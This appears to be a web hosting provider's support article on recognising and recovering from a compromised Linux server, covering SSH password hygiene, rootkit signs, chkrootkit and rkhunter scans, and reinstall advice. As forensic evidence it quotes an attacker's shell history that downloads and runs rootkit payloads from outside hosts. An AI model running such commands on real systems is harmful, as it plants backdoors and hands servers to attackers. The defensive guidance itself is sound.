argh my server was exploited

What is an Exploited Server?

An exploited server is one that is no longer fully under your control. Someone else is using it for their own purposes. Common exploits are:

• To use the server to send out email (spam)
• To use the server to launch brute force attacks on other servers (using its otherwise clean IP as an attack source, and consuming your CPU and network)
• To install a phishing website on your server (e.g. to try and fool someone into supplying their paypal or banking login information)
• To install 'back doors' which attempt to capture any passwords you send to the server (e.g. when you login they may install a bogus ssh server that eavesdrops on your passwords).

How Did My Server Get Exploited

The bulk of the time we see an exploited server it has been exploited in one of two ways. Either someone has guessed a password and logged in as a user via ssh, or a web application has some security hole that has been exploited.

How Can I Avoid Getting Exploited via SSH

Make sure that all of your ssh passwords are hard to guess. e.g. definitely do not use regular words that you would find in a dictionary. Replacing letters with digits e.g. 3 for E typically adds little protection. Try using made up words. Or using two or more words joined together in a phrase.

It is most important for the root user to have a strong password. Since if this user is exploited the exploiter has full control of your server and can install things like backdoors.

'Regular' users need to have good passwords as well, else if they are exploited they could be used to send out spam, or host phishing websites.

Another good option is to change your SSHPort from 22 to something else (3022?) in your /etc/ssh/sshd_config file. Then restart ssh with /etc/init.d/sshd restart. If you are not using your default ssh port then that can be a simple way to avoid 99% of the brute force ssh attacks.

If you are using a different ssh port than normal _do_ mention that when you put in a support ticket. To make our life a little easier when we need to login to your server to help you.

How to Avoid Having Your Web Apps Exploited

This one is a bit trickier. Since each web app could be exploited in a different way. Examples of webapps that have had some bad security holes include phpbb, awstats, anything that uses xmlrpc and formmail.

Web app security holes may let someone execute arbitrary code (as the apache user) or do things like send out spam (e.g. in formmail there has been a security hole which lets a user specify any 'to' address and use any message to that person.

The key thing with web app security is to know what web apps you have installed. (Normally the only way you would have a webapp installed is if you or a user manually installed it) then make sure you are up to date with any security issues on that product. e.g. check their site for security notices, if they have a security email list, then join that.

How Do I Know I Was Exploited?

Typically the first you'll know of it is from the RimuHosting support crew. We may have received a spam complaint against your server. Or an ssh attack abuse report. Or we may have noticed your server using unusually high network traffic or CPU.

When we alert you to the exploit we normally try to give some information about what we think was exploited and how you were affected.

e.g. on one recent server exploit we saw things like this on the console:

/etc/rc.d/rc: line 67:   946 Segmentation fault      egrep -q "(daemon |action |success |failure )" $i 2>/dev/null
Starting rawdevices:  [  OK  ]
/etc/rc.d/rc: line 67:   953 Segmentation fault      egrep -q "(daemon |action |success |failure )" $i 2>/dev/null
Starting jboss:  /etc/rc3.d/S84jboss: line 27:   956 Done 
      echo $0
        957 Segmentation fault      | grep -qai tomcat
/etc/rc3.d/S84jboss: line 27:   959 Done                    echo $0
Without 'mount', the filesystem doesn't get mounted read/write, and so 
with a read-only filesystem nothing starts up properly.

Or we may see that some key binaries have been recently replaced:

[root@example ~]# ls -lash $(which grep)
80K -rwxr-xr-x  1 root root 74K Jan  5 04:02 /bin/grep

Or another common sign is a 'broken' cpio (which will prevent rpm installs). e.g. if you run an

apt-get install --reinstall openssh-server

error: unpacking of archive failed on file /sbin/initlog: cpio: rename failed - Operation not permitted

Also: run last -a and see if there are any unusual/suspcious IPs that have logged in recently. Note that a root kitted server may have a truncated/empty last log. Or it may have doctored values.

Also: run the history command or cat ~username/.bash_history to see what commands have been run. And if they look unusual. Again: an exploiter may be able to modify these values/cover their trail.

If your ps process does not support the --width option then that is an indication it may have been compromised/replaced:

# ps auxf --width=200
ps: unknown long option
usage:  ps acehjlnrsSuvwx{t<tty>|#|O[-]u[-]U..} 
           --sort:[-]key1,[-]key2,…
           --help gives you this message
           --version prints version information

If your are ssh-ed into the server and netstat -n does not show your network connection then that is a sign that it is compromised too.

Another idea is to run chkrootkit:

wget -O - "http://downloads.rimuhosting.com/chkrootkit.tar.gz" | tar xz
cd chkrootkit-0.47/
./chkrootkit | grep -v 'nothing found' | grep -v 'not infected' | grep -v 'not tested' | grep -v 'not found'

Sample output on an infected server looks like:

ROOTDIR is `/'
Checking `netstat'… INFECTED
Checking `ps'… INFECTED
Checking `aliens'…
/dev/ptyxy/.proc /dev/ptyxy/.addr
/etc/ld.so.hash
Searching for Ambient's rootkit (ark) default files and dirs… Possible Ambient's rootkit (ark) installed
Searching for suspicious files and dirs, it may take a while…
/usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi/auto/mod_perl/.packlist /usr/lib/perl5/5.8.5/i386-linux-thread-multi/.packlist /usr/lib/.ark? /lib/security/.config
/lib/security/.config
Searching for ShKit rootkit default files and dirs… Possible ShKit rootkit installed

Another tool to check for root kits is rkhunter:

wget http://optusnet.dl.sourceforge.net/sourceforge/rkhunter/rkhunter-1.3.0.tar.gz
tar xzf rkhunter-1.3.0.tar.gz
cd rkhunter-1.3.0
./installer.sh --layout /usr/local --install
/usr/local/bin/rkhunter --check --quiet

Finding Out More About What Was Done

If a user account has been exploited often you can see what the attacker did by running cat ~username/.bash_history

e.g.

943  wget www.tici.us/ssh.tgz
   944  tar xzvf ssh.tgz
   947  ./inst
   948  chmod 777 *
   959  wget www.durexel.com/x/hide
   960  chmod +x hide
   961  ./hide
   962  w

And you can see what IP logged into your server using that user id with last -a

If your server was exploited to send out spam, then the spam report email headers may contain some useful information. e.g. the username that send the emails. Or the time that the emails were sent.

If you have the time, you can then go through your apache access or error logs to see if, say, a particular form POST has happened or a particular URL is being loaded.

Recovering From An Exploit

If a webapp was exploited then typically we can disable the webapp. Then you may wish to upgrade to the latest version of that webapp (or use a different app).

If a non-privileged (e.g. non-root) ssh user account is exploited then we would disable that user from logging in (usermod -s /sbin/nologin user. Or use passwd username to set a random/different password for the user.

If the root user has been compromised then it becomes 'trickier'.

Root User Compromised

When the root user has been compromised things are quite serious. As the root user they would have been able to hide evidence of their access. e.g. modify the logs reported by last -a. Alter their bash history. Modify apps like ps and top so that they do not show the exploit fingerprints (e.g. ps or top may not show processes that are launching brute force attacks on other systems)

Commonly we are seeing root kits installed that modify most binaries and even modify ssh so that it captures passwords you send it.

Sometimes the root kits really 'mess things up'. To the point where the server may actually fail to boot up correctly.

When the root account is compromised we can try to restore a VPS to an earlier backup (and see if that is infected or not).

Or if the server was compromised before the earliest backup we had, or if you are running an older distro, then we may often recommend a fresh install. We can normally mount your old data somewhere like /backups. Then you can get the data you need from it (Treat the data with suspicion. What if someone has viewed it or modified it?)

We recommend that you do _not_ copy binaries from the /backup to the new install. Since that may bring over infected files.

We would also advise you be careful about bringing over config files. Since they may have some exploit in there still (e.g. proxying enabled in apache, or open relaying configured in the mail server). And also after a reinstall you may opt for a newer distro and that config files in that distro may differ from your 'old' server. If you really need to copy over config settings try to copy over just the fragments you need.